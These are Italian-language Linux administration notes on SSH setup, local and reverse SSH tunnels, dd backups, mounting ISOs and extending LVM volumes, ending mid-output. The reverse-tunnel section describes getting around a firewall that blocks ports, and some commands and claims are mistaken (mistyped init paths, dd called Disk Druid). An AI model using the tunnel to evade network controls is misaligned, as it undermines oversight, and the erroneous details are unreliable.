o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

USERADD (Aggiungere un utente sul sistema)

/usr/sbin/useradd nomeutente –s /sbin/nologin

/usr/bin/passwd nomeutente

Quando si crea un nuovo account, la password è uguale al nome utente, il prompt successivo all’ultimo comando (/usr/bin/password nomeutente) presenterà la richiesta:

"Enter new UNIX password:"

Che ci permetterà di scegliere una password diversa. (Provato su Ubuntu 8.04 K 2.6.24-19)

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

SSH (Secure Shell - Remote Terminal Connection)

ssh username@serverIP

ssh -l root servrIP

EDITARE FILE CONFIGURAZIONE SSH

vim /etc/ssh/sshd_config ===> Configurazione del Demone (Server)

vim /etc/ssh/ssh_config ===> Configurazione del Client

RIAVVIARE SSH

/etc/int.d/ssh restart

/etc/int.d/sshd restart

/etc/int.d/service sshd restart (oppure start e stop)

*) Oppure

systemctl restart sshd.service

----------------------------------------------------------------------------

SSH SERVER INSTALLAZIONE CONFIGURAZIONE E ATTIVAZIONE

INSTALLAZIONE

*) Per installare il server SSH è sufficiente dare il comando (da root):

apt-get install openssh-server

*) Generalmente il server SSH è gia installato nella maggior parte delle distribuzioni ma, per motivi di sicurezza, di default è disabilitato.

Per abilitarlo è necessario apportare alcune modifiche ai 2 file di configurazione:

/etc/ssh/ssh_config

/etc/ssh/sshd_config

Nello specifico, in /etc/ssh/ssh_config verificare che siano decommentate le seguenti voci e, nel caso siano commentate, cancellare il simbolo #

---------------------------------------

ForwardX11 yes

Port 22

Protocol 2

SendEnv LANG LC_*

HashKnownHosts yes

GSSAPIAuthentication yes

GSSAPIDelegateCredentials no

---------------------------------------

* In /etc/ssh/sshd_config verificare che siano decommentate le seguenti voci e, nel caso siano commentate, cancellare il simbolo #:

---------------------------------------

Port 22

SyslogFacility AUTH

ChallengeResponseAuthentication no

UsePAM yes

X11Forwarding yes

PrintMotd no

Subsystem sftp /usr/lib/openssh/sftp-server

------------------------------------------

*) Una volta effettuate le modifiche ai file di configurazione, è necessario riavviare il servizio ssh per applicare e rendere effettive e funzionanti le modifiche

/etc/init.d/ssh restart

*) Una volta restartato il servizio (pochi secondi) è possibile stabilire connessioni remote con la macchina via ssh.

 

CONFIGURAZIONE (EVENTUALE) DEL FIREWALL

*) Il protocollo SSH utilizza la porta TCP 22. Pertanto, affinchè sia possibile connettersi al server SSH, è necessario assicurarsi che la porta 22 sia accessibile. Il firewall predefinito in ambiente Ubuntu è ufw (Uncomplicated FireWwall), e possiamo interagire con esso al fine di abilitare la porta TCP 22 con il comando seguente (da root):

ufw allow ssh/tcp

*) Per avere conferma dell’avvenuta apertura della porta 22, digitiamo il comando (da root):

ufw status

Il comando produrrà in output la lista delle porte aperte.

Fonti:

https://linuxiano.wordpress.com/2007/06/07/come-usare-e-configurare-ssh/

https://www.html.it/pag/18676/configurare-ssh-e-ftp-per-accedere-da-remoto/

----------------------------------------------------------------------------

SSH CLIENT SU WINDOWS

*) I sistemi Windows non hanno un SSH Client integrato quindi, per stabilire una connessione via SSH con un sistema remoto e' necessario installare software aggiuntivi.

I principali software per Windows sono:

-) Putty

-) SecureCRT

-) MobaxTerm

-) OpenSSH for Windows

Putty non consente di aprire una "shell" CLI stile Linux per utilizzare comandi "particolari".

Secure CRT e MobaxTerm invece offrono, oltre all'interfaccia grafica, la possibilita' di aprire una finestra stile Linux shell che permette di operare da Linea di Comando.

In alternativa OpenSSH for Windows (http://sshwindows.sourceforge.net/) (https://sourceforge.net/projects/sshwindows/) e' un semplicissimo tool che, una volta installato permette l'uso completo dei comandi SSH direttamente dal Prompt dei comandi (finestra DOS), come se fosse una shell Linux.

------------------------------------------------------------------------

SSH BIND ADDRESS PORT FORWARDING TUNNEL CONNECTION REDIRECT

A volte puo' nascere l'esigenza di connettersi tramite browser ad un server che si trova in una rete non direttamente raggiungibile dal proprio PC, ma raggiungibile da uno dei Sistemi (solo CLI SENZA GUI) a cui si ha accesso soltanto tramite SSH.

Un caso tipico e' per esempio quello in cui si debba scaricare un Certificato da un Server remoto:

ESEMPIO:

Si deve scaricare il certificato del Server "servizibusinessws.extranet.poste" con IP 10.204.237.9 e porta 4572 TCP

Dal prorio PC il Server 10.204.237.9 non e' raggiungibile ma e' invece raggiungibile tramite SSH la VM (solo CLI) 192.168.30.68

Con l'opzione -L di ssh possiamo stabilire una connessione verso 192.168.30.68 e impostare un PORT FORWARDING verso una specifica porta TCP del Server 10.204.237.9, in modo da consentire l'inoltro della connessione tra il nostro browser ed il Server irraggiungibile.

Per fare cio' occorre che sul nostro PC Windows ci sia un Client SSH (OpenSSH, MobaxTerm, SecureCRT, PenTestBox, etc.)

Dal client SSH impostiamo una connessione verso il Server da noi raggiungibile e di seguito specifichiamo l'opzione -L seguita dai parametri Porta TCP Locale (2369 Ingresso del Tunnel SSH) : Indirizzo IP del Server NON raggiungibile : Porta TCP in ascolto sul Server (4572 – uscita del Tunnel SSH)

ssh nomeutente@192.168.30.68 -L 2369:10.204.237.9:4572

Inserire la password e, una volta stabilita la connessione, aprire il browser e puntare all'Indirizzo IP di loopback sulla Porta TCP locale come dichiarata nel comando:

(Nella barra indirizzi del browser)

https://127.0.0.1:2369/

*) In questo modo il nostro browser si connettera' al Server remoto passando per la connessione ssh

LAB TEST SCENARIO

*) Per testare in ambiente VMWare questa situazione creiamo uno scenario composto da:

-) Server_A ====> Linux Fedora30 (192.168.88.137)

-) VM_Bridge ====> Linux Centos7 (192.168.88.136)

-) Host_Win ====> Windows 10 PC Host fisico (192.168.88.1)

*) Sul Server_A mettiamo in ascolto un piccolo server web sulla porta 6923. Basta un semplice comando python lanciato senza privilegi particolari:

python -m SimpleHTTPServer 6923

Ora sulla VM Server_A (192.168.88.137) gira un webserver sulla porta 6923 che permette di sfogliare il contenuto della directory dalla quale si è lanciato il comando e tutte le sottodirectory.

*) Sul nostro PC Host Windows 10 apriamo un Client SSH (OpenSSH, MobaxTerm, SecureCRT, PenTestBox, SSH for WIN, etc.)

Dal client SSH impostiamo una connessione verso la VM_Bridge (192.168.88.136) da noi raggiungibile, e di seguito specifichiamo l'opzione -L seguita dai parametri Porta TCP Locale in ascolto (9999 – Entrata del Tunnel SSH) : Indirizzo IP del Server NON raggiungibile (192.168.88.137) : Porta TCP in ascolto sul Server (6923 – Uscita del Tunnel SSH)

ssh username@192.168.88.136 -NgL 9999:192.168.88.137:6923

oppure più semplicemente

ssh username@192.168.88.136 -L 9999:192.168.88.137:6923

*) Inserire la password se richiesto.

*) Una volta stabilita la connessione, aprire il browser e scrivere nella barra degli indirizzi l’ IP di localhost (127.0.0.1) e la porta TCP locale come dichiarata nel comando:

127.0.0.1:9999

*) In questo modo il nostro browser si connettera' al Server remoto passando per la connessione SSH.

Se il browser mostra la lista del contenuto della directory dalla quale è stato lanciato il web server python, allora il sistema FUNZIONA.

*) A volte, soprattutto sulle macchine RedHat o Centos può capitare che il firewall di sistema (NetFilter IPSec) blocchi la porta in ascolto. Quindi affinchè il sistema funzioni è necessario intervenire sulla configurazione del firwall della VM_Bridge Centos

Server IP = 192.168.88.136

-) Il comando seguente apre la porta locale 9999 in ascolto (Listening)

firewall-cmd --permanent --add-port=9999/tcp

-) Se non funzionasse ancora provare ad aprire anche la porta di forwarding 6923 (probabilmente non necessario)

firewall-cmd --permanent --add-port=6923/tcp

-) Per rendere effettivve le modifiche riavviare il firewall con il comando

firewall-cmd –reload

-) Se ancora si dovessero avere problemi provare a stoppare completamente il firewall (sconsigliato per motivi di sicurezza)

systemctl stop firewalld

===================================================================

 

SSH REVERSE TUNNEL

*) Questa tecnica e' molto utile in quei casi in cui il FireWall blocchi la connessione verso una specifica Porta di uno specifico Server.

Mettiamo per esempio che un Firewall consenta la connessione remota al Server_A tramite SSH sulla porta 22 TCP (SSH - SFTP) ma blocchi il traffico verso tutte le altre porte, mentre noi abbiamo la necessità di connetterci da remoto ad una porta diversa (Es. la 6923 TCP).

Per ovviare al problema si puo' creare un Reverse Tunnel tramite il protocollo SSH.

In pratica, dal Server_A "schermato" dal Firewall si stabilisce una connessione verso un altro Server (Server_B che dovra' necessariamente avere un IP Pubblico raggiungibile da Internet) il quale fara' da "ponte" tra la porta 6923 TCP del Server_A ed il resto del mondo (Internet).

LAB TEST SCENARIO

*) Per testare in ambiente VMWare questa situazione utilizziamo lo stesso scenario del LAB TEST precedente, composto da:

-) Server_A ====> Linux Fedora30 (192.168.88.137)

-) VM_Bridge ====> Linux Centos7 (192.168.88.136)

-) Host_Win ====> Windows 10 PC Host fisico (192.168.88.1)

*) Sul Server_A mettiamo in ascolto un piccolo server web sulla porta 6923. Basta un semplice comando python lanciato senza privilegi particolari:

python -m SimpleHTTPServer 6923

Ora sulla VM Server_A (192.168.88.137) gira un webserver sulla porta 6923 che permette di sfogliare il contenuto della directory dalla quale si è lanciato il comando e tutte le sottodirectory.

*) Da una shell sulla VM Server_A (192.168.88.137) lanciamo il comando:

ssh synhack@192.168.88.136 –Ng -R *:9999:127.0.0.1:6923

oppure più semplicemente

ssh synhack@192.168.88.136 -R 9999:127.0.0.1:6923

*) Sul nostro PC Host Windows 10 aprire il browser e puntare all'Indirizzo IP della VM_Bridge (192.168.88.136) sulla Porta TCP (9999) locale come dichiarata nel comando:

(Nella barra indirizzi del browser)

192.168.88.136:9999

*) In questo modo il browser nel nostro PC Host Windows 10 si connetterà al Server di destinazione Server_A (192.168.88.137), passando per la connessione SSH della VM_Bridge (192.168.88.136 porta 9999).

Se il browser mostra la lista del contenuto della directory dalla quale è stato lanciato il web server python, allora il sistema FUNZIONA.

*) A volte, soprattutto sulle macchine RedHat o Centos può capitare che il firewall di sistema (NetFilter IPSec) blocchi la porta in ascolto. Quindi affinchè il sistema funzioni è necessario intervenire sulla configurazione del firwall della VM_Bridge Centos

Server IP = 192.168.88.136

-) Il comando seguente apre la porta locale 9999 in ascolto (Listening)

firewall-cmd --permanent --add-port=9999/tcp

-) Se non funzionasse ancora provare ad aprire anche la porta di forwarding 6923 (probabilmente non necessario)

firewall-cmd --permanent --add-port=6923/tcp

-) Per rendere effettivve le modifiche riavviare il firewall con il comando

firewall-cmd –reload

-) Se ancora si dovessero avere problemi provare a stoppare completamente il firewall (sconsigliato per motivi di sicurezza)

systemctl stop firewalld

*) Dal man ssh possiamo ricavare il significato dei principali parametri:

-g Allows remote hosts to connect to local forwarded ports.

-N Do not execute a remote command. This is useful for just forwarding ports

-R [bind_address:]port:host:hostport

Specifies that the given port on the remote (server) host is to be forwarded to the given

host and port on the local side. This works by allocating a socket to listen to port on

the remote side, and whenever a connection is made to this port, the connection is for-

warded over the secure channel, and a connection is made to host port hostport from the

local machine.

-L [bind_address:]port:host:hostport

Specifies that the given port on the local (client) host is to be forwarded to the given

host and port on the remote side. This works by allocating a socket to listen to port on

the local side, optionally bound to the specified bind_address. Whenever a connection is

made to this port, the connection is forwarded over the secure channel, and a connection

is made to host port hostport from the remote machine.

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

 

BACKU PARTIZIONI CON dd (Disk Druid)

COPIA MBR BACKUP (SU FLOPPY)

dd if=/dev/hda of=/dev/fd0 bs=512 count=1

COPIA MBR SU ALTRA PARTIZIONE E SUCCESSIVO RIPRISTINO

dd if=/dev/hda of=/home/utente/mbr_backup/boot.mbr bs=512 count=1

dd if=/home/utente/mbr_backup/boot.mbr of=/dev/hda bs=512 count=1

Attenzione a non scrivere /dev/hda1 altrimenti il floppy avviera direttamente il Sistema Operativo presente nella 1^ partizione, NON passando per il Boot Loader

CREAZIONE IMMAGINE ISO DVD WINDOWS 7 SP1 NDH OK

dd if=/dev/scd0 of=/media/RISERVA_160_GB/Win7_SP1_NDH.iso

*) Per velocizzare la copia si può impostare il parametro bs (Block Size) ad un valore maggiore (Es. 64K). La velocità di copia dipende da molti fattori Hardware e Software e varia da sistema a sistema. Per scegliere il valore bs ottimale è necessario fare alcune prove pratiche. Generalmente un bs=64K porta notevolo vantaggi.

COPIA PARTIZIONE DISCO SU FILE IMMAGINE .iso (.ISO)

dd if=/dev/sdx1 of=/home/utente/backup/sdx1-bs64k.iso bs=64K

COPIA FILE IMMAGINE .iso SU PARTIZIONE DISCO

dd if=/home/utente/backup/sdx1-bs64k.iso of=/dev/sdX1 bs=64K

In questo caso scriviamo sdx1 perchè è la partizione che contiene il Sistema Operativo. La partiione sdx2 infatti contiene i Dati Utente.

MONTARE IMMAGINI .ISO SUL FILE SYSTEM

Se abbiamo un file .iso relativo alla copia Immagine di una partizione disco, possiamo facilmente montarla in linux come se fosse una pendrive USB ed esplorarne il contenuto.

*) MODO 1 – Il piu semplice

*) creare una directory dove poi montare il file .iso

mkdir /home/username/nomedir

*) Montare l’immagine iso nella directory appena creata

mount –t iso9660 –o loop /path/della/immagine.iso /home/username/nomedir

*) Per smontare l’immagine iso

umount –t iso9660 /path/della/immagine.iso /home/username/nomedir

NOTA: L’operazione di mount non occupa spazio disco aggiuntivo sulla partizione dove risiede la directory nella quale viene montata la .iso

 

 

CASE STUDY:

[root@master-ldap-CLONE opt]# df -h

Filesystem Size Used Avail Use% Mounted on

/dev/mapper/VolGroup00-LogVol00

6.8G 2.9G 3.6G 44% /

tmpfs 939M 0 939M 0% /dev/shm

/dev/sda1 190M 76M 104M 43% /boot

/dev/mapper/VolGroup00-LogVol01

12G 3.7G 7.3G 34% /opt

 

[root@master-ldap-CLONE opt]# mount -t iso9660 -o loop /opt/redhatdvd/rhel-server-6.9-x86_64-dvd.iso /home/ssoldati/rhel69/

 

[root@master-ldap-CLONE opt]# df -h

Filesystem Size Used Avail Use% Mounted on

/dev/mapper/VolGroup00-LogVol00

6.8G 2.9G 3.6G 44% /

tmpfs 939M 0 939M 0% /dev/shm

/dev/sda1 190M 76M 104M 43% /boot

/dev/mapper/VolGroup00-LogVol01

12G 3.7G 7.3G 34% /opt

/opt/redhatdvd/rhel-server-6.9-x86_64-dvd.iso

3.7G 3.7G 0 100% /home/ssoldati/rhel69

 

*) MODO 2 – Piu complicato

*) Caricare il modulo kernel "loopback"

root@unknown:~# modprobe loop

*) Verificare che siano state create le periferiche virtuali

root@unknown:~# ls -l /dev | grep loop

brw-rw---- 1 root disk 7, 0 feb 12 18:45 loop0

brw-rw---- 1 root disk 7, 1 feb 12 18:45 loop1

brw-rw---- 1 root disk 7, 2 feb 12 18:45 loop2

brw-rw---- 1 root disk 7, 3 feb 12 18:45 loop3

brw-rw---- 1 root disk 7, 4 feb 12 18:45 loop4

brw-rw---- 1 root disk 7, 5 feb 12 18:45 loop5

brw-rw---- 1 root disk 7, 6 feb 12 18:45 loop6

brw-rw---- 1 root disk 7, 7 feb 12 18:45 loop7

*) Ora abbiamo a disposizione 8 virtual device (da loop0 a loop7) sui quali montare l’immagine BadStore_123s.iso precedentemente salvata nella directory /home/synhack/isos/

root@unknown:~# losetup -P /dev/loop0 /home/synhack/isos/BadStore_123s.iso

*) Controlliamo che l’immagine iso sia associate al virtual device

root@unknown:~# losetup -l

NAME SIZELIMIT OFFSET AUTOCLEAR RO BACK-FILE DIO LOG-SEC

/dev/loop0 0 0 0 0 /home/synhack/isos/BadStore_123s.iso 0 512

*) Controllando anche con fdisk vediamo che il device virtuale viene visto come una partizione disco

root@unknown:~# fdisk -l /dev/loop0

Disk /dev/loop0: 11,2 MiB, 11788288 bytes, 23024 sectors

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

*) Ora per esplorarne il contenuto non resta che montarlo in una directory a nostra scelta

root@unknown:~# mkdir /media/badstore

root@unknown:~# mount /dev/loop0 /media/badstore/

root@unknown:~# ls -l /media/badstore/

totale 1,3M

dr-xr-xr-x 4 root root 2,0K mag 12 2006 ./

drwxr-xr-x 5 root root 4,0K feb 12 19:37 ../

-r-xr-xr-x 1 root root 32 mag 18 2005 AUTORUN.INF*

-r-xr-xr-x 1 root root 167K mag 18 2005 BadStore_net_v1_2_Manual.pdf*

dr-xr-xr-x 3 root root 2,0K mag 18 2005 isolinux/

-r-xr-xr-x 1 root root 1,1M mag 18 2005 mugsyanim5.exe*

dr-xr-xr-x 7 root root 2,0K mag 18 2005 trinux/

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

ELENCARE I DEVICE SD (USB o HDD)

fdisk –l ====> Elenca tutte le partizioni disco, montate e non.

vgdisplay ===> Mostra dettagli sui Volume Groups

lvdisplay ===> Mostra dettagli sui Logical Volumes

pvdisplay ===> Mostra dettagli sui Physical Volumes

pvcreate /dev/sdxy ===> Crea un Physical Volumes in /dev/sdxy

vgextend [vg] [pv] ===> Estendi un Volume Group inserendo il Physical Volume /dev/sdxy

lvextend -l +100%FREE /dev/cl/root ===> Estendi il Logical Volume del Volume Groups cl-root al massimo della capacità

resize2fs /dev/cl/root ===> Estendi il FileSystem / in modo da poter effettivamente usare tutto lo spazio disponibile

xfs_growfs /dev/cl/root ===> Estendi il FileSystem / in modo da poter effettivamente usare tutto lo spazio disponibile

dmesg ====> elenca in dettaglio tutto l’hardware

dmesg | grep -–color sd ====> elenca solo le voci che contengono la sequenza di lettere sd

ls /dev ====> elenca tutti i dispositivi elencati nella cartella /dev (dev=device)

ls /dev | grep -–color sd ====> elenca solo i dispositivi di tipo sd (/dev/sda o /dev/sdb)

L’opzione -color evidenzia con colore diverso tutte le ricorrenze cercate, che risultano così facilmente individuabili a prima vista

 

=============================================================================

 

PROCEDURA ESTENSIONE SPAZIO DISCO VIRTUALE VDI VMWARE VirtualBox ESTENSIONE PARTIZIONE FILESYSTEM LVM

Questo tutorial descrive passo-passo come eseguire l’espansione di un disco su un server Linux.
Capita spesso, infatti, di eseguire l’espansione fisica del disco dimenticando, però, di effettuare quella a livello di sistema operativo. In questo modo ci si ritrova ad avere un server con il disco delle dimensioni desiderate, ma con una partizione a livello di sistema operativo caratterizzata ancora dalle dimensioni precedenti. In altre parole il server non vede lo spazio aggiuntivo.
La guida assume che:

1. il server sia virtuale e basato su una qualsiasi delle soluzioni di virtualizzazione oggi disponibili (VMWare, Hyper-V, VirtualBox, Xen), indipendentemente che sia in esecuzione su infrastruttura privata o su piattaforma cloud offerta da provider esterni (Amazon, Aruba Cloud, Register)

2. il server sia configurato per utilizzare LVM (Logical Volume Manager) [1] 

3. il server abbia un singolo disco da 10 GB che verrà esteso fino a 30 GB 

4. tutte le operazioni indicate siano eseguite con privilegi amministrativi

La procedura da eseguire è la seguente [2][3][4]:

· Prima di procedere all’espansione effettiva del disco, analizzare mediante il comando "fdisk -l" l’attuale configurazione dello stesso al fine di verificare l’effettivo utilizzo della tecnologia LVM da parte del sistema

[root@centos7test ~]# fdisk -l

Disk /dev/sda: 10.7 GB, 10737418240 bytes, 20971520 sectors

Units = sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

Disk label type: dos

Identificativo disco: 0x00093993

Dispositivo Boot Start End Blocks Id System

/dev/sda1 * 2048 1050623 524288 83 Linux

/dev/sda2 1050624 5244927 2097152 82 Linux swap / Solaris

/dev/sda3 5244928 20971519 7863296 8e Linux LVM

Disk /dev/mapper/centos-root: 8048 MB, 8048869376 bytes, 15720448 sectors

Units = sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

Nel nostro caso, l’installazione Linux eseguita prevede una piccola partizione (/dev/sda1) destinata al /boot, una partizione (/dev/sda2) come swap e il restante spazio  gestito mediante LVM e destinato al mount point principale /.

· Eseguita la verifica precedente è possibile procedere allo spegnimento del server virtuale, ed espandere il disco (es. da 10 GB a 30 GB) modificando opportunamente i parametri di configurazione del server direttamente dal pannello di controllo a propria disposizione.

· Dopo il riavvio del server eseguendo nuovamente il comando "fdisk -l" la configurazione del disco potrebbe apparire come segue:

[root@centos7test ~]# fdisk -l

Disk /dev/sda: 32.2 GB, 32212254720 bytes, 62914560 sectors

Units = sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

Disk label type: dos

Identificativo disco: 0x00093993

Dispositivo Boot Start End Blocks Id System

/dev/sda1 * 2048 1050623 524288 83 Linux

/dev/sda2 1050624 5244927 2097152 82 Linux swap / Solaris

/dev/sda3 5244928 20971519 7863296 8e Linux LVM

Disk /dev/mapper/centos-root: 8048 MB, 8048869376 bytes, 15720448 sectors

Units = sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

Il disco è effettivamente diventato di 30 GB, ma ponendo attenzione alla partizione /dev/sda3 il numero di blocchi utilizzati (7863296) è sempre lo stesso. Il nuovo spazio risulta, quindi, ancora non utilizzato.

· Prima operazione da eseguire dopo aver aumentato la dimensione del disco è procedere alla creazione di una nuova partizione. A tale scopo utilizzeremo il comando "fdisk" come segue

o Lanciare il comando "fdisk" per il disco (es. /dev/sda) su cui creare la nuova partizione:

o [root@centos7test ~]# fdisk /dev/sda

o Welcome to fdisk (util-linux 2.23.2).

o Changes will remain in memory only, until you decide to write them.

o Be careful before using the write command.

Comando (m per richiamare la guida):

o Selezionare "n" per creare una nuova partizione

o Comando (m per richiamare la guida): n

o Partition type:

o p primary (3 primary, 0 extended, 1 free)

o e extended

 

o Digitare "p" al fine di specificare che la nuova partizione sia di tipo "primario". Altrimenti selezionare "e" per creare una partizione di tipo "esteso".

o Select (default e): p

o Specificare il numero da assegnare alla nuova partizione

o Select (1-4): 4

o

o Premere direttamente invio per accettare il primo cilindro libero suggerito

o Primo sector (20971520-62914559, predefinito 20971520):

o Utilizzo del valore predefinito 20971520

 

o Premere nuovamente invio  per accettare l’ultimo cilindro come fine

o Last sector, +sectors or +size{K,M,G} (20971520-62914559, predefinito 62914559):

o Utilizzo del valore predefinito 62914559

o Partition 4 of type Linux and of size 20 GiB is set

 

o Digitare "t" per cambiare il tipo della partizione appena creata

o Comando (m per richiamare la guida): t

 

o Digitare il numero (es. 4) associato alla partizione di cui vogliamo cambiare il tipo

o Numero della partizione (1-4, default 4): 4

 

o Digitare "8e" come tipo della partizione e premere invio

o Hex code (type L to list all codes): 8e

o Changed type of partition 'Linux' to 'Linux LVM'

 

o Digitare "p" per stampare la tabella delle partizioni e verificarne la correttezza

o Comando (m per richiamare la guida): p

o Disk /dev/sda: 32.2 GB, 32212254720 bytes, 62914560 sectors

o Units = sectors of 1 * 512 = 512 bytes

o Sector size (logical/physical): 512 bytes / 512 bytes

o I/O size (minimum/optimal): 512 bytes / 512 bytes

o Disk label type: dos

o Identificativo disco: 0x00093993

o Dispositivo Boot Start End Blocks Id System

o /dev/sda1 * 2048 1050623 524288 83 Linux

o /dev/sda2 1050624 5244927 2097152 82 Linux swap / Solaris

o /dev/sda3 5244928 20971519 7863296 8e Linux LVM

o /dev/sda4 20971520 62914559 20971520 8e Linux LVM

 

o Digitare "w" per salvare la nuova tabella delle partizioni

o Comando (m per richiamare la guida): w

o La tabella delle partizioni è stata alterata!

o Chiamata di ioctl() per rileggere la tabella delle partizioni.

 

o Potrebbe accadere a questo punto di ricevere l’errore riportato di seguito.

o WARNING: Re-reading the partition table failed with error 16: Dispositivo o risorsa occupata.

o The kernel still uses the old table. The new table will be used at

o the next reboot or after you run partprobe(8) or kpartx(8)

o Sincronizzazione dei dischi in corso.

 

o Riavviare il server in modo da rendere attiva la nuova tabella delle partizioni.

o [root@centos7test ~]# reboot (oppure) shutdown -r now

Si suggerisce il riavvio diretto del server in quanto a volte i comandi "partprobe /dev/sda" o "kpartx /dev/sda" non sortiscono lo stesso effetto.

· Creare il physical volume per la partizione creata al punto precedente

[root@centos7test ~]# pvcreate /dev/sda4

Physical volume "/dev/sda4" successfully created

· Visualizzare i volume group già esistenti

[root@centos7test ~]# vgdisplay

--- Volume group ---

VG Name centos

System ID

Format lvm2

Metadata Areas 1

Metadata Sequence No 2

VG Access read/write

VG Status resizable

MAX LV 0

Cur LV 1

Open LV 1

Max PV 0

Cur PV 1

Act PV 1

VG Size 7,50 GiB

PE Size 4,00 MiB

Total PE 1919

Alloc PE / Size 1919 / 7,50 GiB

Free PE / Size 0 / 0

VG UUID LQTVmq-FKl4-gFj5-MCmy-NkC1-covO-HeNFfP

· Estendere il volume group associato allo spazio di root (nel nostro caso "centos" l’unico disponibile) assegnando il nuovo physical volume creato (/dev/sda4)

[root@centos7test ~]# vgextend centos /dev/sda4

Volume group "centos" successfully extended

· Verificare il nome del logical volume da estendere ( es. /dev/centos/root )

[root@centos7test ~]# lvdisplay

--- Logical volume ---

LV Path /dev/centos/root

LV Name root

VG Name centos

LV UUID 2Tlb0v-h7Jv-dqzf-irR7-pNjz-DgmB-f8rlNV

LV Write Access read/write

LV Creation host, time localhost, 2015-10-26 13:53:35 +0100

LV Status available

# open 1

LV Size 7,50 GiB

Current LE 1919

Segments 1

Allocation inherit

Read ahead sectors auto

- currently set to 8192

Block device 253:0

· Estendere il logical volume in modo tale da occupare tutto lo spazio disponibile

 [root@centos7test ~]# lvextend -l +100%FREE /dev/centos/root

Size of logical volume centos/root changed from 7,50 GiB (1919 extents) to 27,49 GiB (7038 extents).

Logical volume root successfully resized

· Estendere il filesystem del logical volume in modo da utilizzare il nuovo spazio allocato

[root@centos7test ~]# resize2fs /dev/centos/root

resize2fs 1.42.9 (28-Dec-2013)

Filesystem at /dev/centos/root is mounted on /; on-line resizing required

old_desc_blocks = 1, new_desc_blocks = 4

The filesystem on /dev/centos/root is now 7206912 blocks long.

Se il comando resize2fs non funziona provare col comando xfs_growfs /dev/centos/root

[root@centos7test ~]# xfs_growfs /dev/centos/root

· Verificare lo status del disco e la quantità di spazio  libero in modo da essere sicuri che l’espansione sia stata eseguita correttamente

[root@centos7test ~]# df -h

File system Dim. Usati Dispon. Uso% Montato su

/dev/mapper/centos-root 27G 1,1G 25G 4% /

devtmpfs 488M 0 488M 0% /dev

tmpfs 497M 0 497M 0% /dev/shm

tmpfs 497M 6,5M 491M 2% /run

tmpfs 497M 0 497M 0% /sys/fs/cgroup

/dev/sda1 488M 135M 318M 30% /boot

Sperando che la procedura descritta possa essere un valido aiuto per tutti coloro che si trovano ad eseguire l’espansione di un disco sul proprio server Linux, si ricorda che le operazioni descritte sono valide sia per server virtuali sia per server fisici.

Riferimenti

1. Heinz Mauelshagen, Matthew O’Keefe, 2005 – The Linux Logical Volume Manager

2. Geoff Stratton, 2013 – Expand a Hard Disk with Ubuntu LVM

3. Stefano Bianchini, 2014 – Estendere un disco LVM in Ubuntu Server 14.04 su Aruba Cloud

4. Luca Dell’Oca, 2010 – Estendere un disco LVM su CentOS

https://www.ict360.cloud/estendere-un-disco-lvm-su-linux/

====================================================================

CASE STUDY ESEMPIO:

COMANDI SHELL MOBAX ESTENSIONE PARTIZIONE LOGICAL VOLUME SDA CentOS 8 su VirtualBox

+--------------------------------------------------------------------+

¦ • MobaXterm 12.4 • ¦

¦ (SSH client, X-server and networking tools) ¦

¦ ¦

¦ ? SSH session to synhack@192.168.23.188 ¦

¦ • SSH compression : ? ¦

¦ • SSH-browser : ? ¦

¦ • X11-forwarding : ? (disabled or not supported by server) ¦

¦ • DISPLAY : 192.168.23.112:3.0 ¦

¦ ¦

¦ ? For more info, ctrl+click on help or visit our website ¦

+--------------------------------------------------------------------+

Activate the web console with: systemctl enable --now cockpit.socket

Last login: Mon Mar 22 22:12:43 2021 from 192.168.23.112

[synhack@localhost ~]$ sudo -i

[root@localhost ~]#

[root@localhost ~]# df -h

File system Dim. Usati Dispon. Uso% Montato su

devtmpfs 387M 0 387M 0% /dev

tmpfs 406M 0 406M 0% /dev/shm

tmpfs 406M 5,6M 400M 2% /run

tmpfs 406M 0 406M 0% /sys/fs/cgroup

/dev/mapper/cl-root 8G 6,4G 1,6G 80% /

/dev/sda1 1014M 259M 756M 26% /boot

tmpfs 82M 0 82M 0% /run/user/1000

[root@localhost ~]#

[root@localhost ~]# fdisk -l

Disk /dev/sda: 40 GiB, 42949672960 bytes, 83886080 sectors

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

Disklabel type: dos

Disk identifier: 0xaad139e5

Dispositivo Avvio Start Fine Settori Size Id Tipo

/dev/sda1 * 2048 2099199 2097152 1G 83 Linux

/dev/sda2 2099200 20971519 18872320 9G 8e Linux LVM

 

 

 

Disk /dev/mapper/cl-root: 8 GiB, 8585740288 bytes, 16769024 sectors

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

 

Disk /dev/mapper/cl-swap: 1 GiB, 1073741824 bytes, 2097152 sectors

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

[root@localhost ~]#

[root@localhost ~]# vgdisplay

--- Volume group ---

VG Name cl

System ID

Format lvm2

Metadata Areas 1

Metadata Sequence No 3

VG Access read/write

VG Status resizable

MAX LV 0

Cur LV 2

Open LV 2

Max PV 0

Cur PV 1

Act PV 1

VG Size <9,00 GiB

PE Size 4,00 MiB

Total PE 2303

Alloc PE / Size 2303 / <9,00 GiB

Free PE / Size 0 / 0

